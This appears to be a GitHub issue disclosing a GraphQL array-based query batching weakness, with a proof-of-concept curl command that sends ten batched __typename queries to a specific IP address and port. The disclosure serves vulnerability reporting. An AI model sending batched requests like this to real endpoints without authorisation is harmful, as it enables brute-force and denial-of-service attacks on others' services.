Skip to content

Graphql Array Based Query Batching Vulnerability #544

@NinjaGPT

Description

@NinjaGPT

summary

The GraphQL implementation supports receiving an array of queries in a single HTTP request instead of a single query, thereby allowing attackers to launch brute-force attacks and DOS attacks.


POC

curl -X POST -H "User-Agent: oxpecker" -H "Accept-Encoding: gzip, deflate" -H "Accept: */*" -H "Connection: keep-alive" -H "Content-Length: 390" -H "Content-Type: application/json" -d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' 'http://34.127.101.91:40410/graphql'

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions